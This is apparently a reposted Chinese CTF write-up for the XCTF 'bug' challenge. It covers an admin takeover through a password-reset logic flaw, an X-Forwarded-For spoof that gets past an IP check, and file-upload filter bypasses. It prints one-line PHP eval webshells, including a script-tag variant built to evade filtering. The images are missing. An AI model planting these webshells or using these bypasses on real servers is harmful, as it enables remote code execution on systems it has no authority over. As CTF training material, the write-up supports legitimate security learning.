XCTF-高手进阶区:bug

题目:
在这里插入图片描述
进去后发现如下所示:
在这里插入图片描述
我注册了一个peak账号,登录后显示如下:
在这里插入图片描述
经过一番测试,发现Manage需要admin权限:
在这里插入图片描述
如何获取admin权限呢?利用修改密码界面的逻辑漏洞,修改admin的密码,如下:
在这里插入图片描述
再次点击Manage会出现
在这里插入图片描述
我们使用XFF绕过IP限制
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP
在这里插入图片描述

<!--index.php?module=filemanage&do=???-->
这个明显是让我们猜,这里最后根据前面filemanage(文件管理),猜到upload(上传)

在这里插入图片描述
尝试上传一个peak.php文件:<?php @eval($_REQUEST[peak]);?>
在这里插入图片描述
发现无法上传,被判断为php文件,通过在上传时可以抓包,可以发现是后端验证,尝试00截断:
在这里插入图片描述
再猜测可能是过滤代码中的特殊字符,例如?,那我们将peak.php内容修改为:<script language="php">@eval($_REQUEST[peak])</script>,再次上传,00截断也不ok,依旧未果,还能咋办?
最后发现php4和php5可以上传但返回不是图像…好!那我们就修改MIME
在这里插入图片描述
修改文件名为peak.jpg,结果不行!那就是peak.php的内容有问题,目标服务器有过滤,那我们继续使用<script language="php">@eval($_REQUEST[peak])</script>来绕过,得到flag
在这里插入图片描述


注:经测试
(1)如果你的peak.php5文件内容中没有任何php内容还不行,例:
在这里插入图片描述
(2)文件必须能被php解析执行
在这里插入图片描述

总结:这题主要考查

  • 对逻辑漏洞的认识
  • 对敏感目录的猜测
  • 文件上传的绕过(需要注意的是,有时候常用的一句话木马,有可能会被过滤!)
  • 绕过要求:MIME类型是图片;文件名能被php解析执行;文件内容既要是php文件,而且你php文件中的内容还不能这么明显,难搞哦

猜你喜欢

转载自blog.csdn.net/qq_41617034/article/details/105490886
今日推荐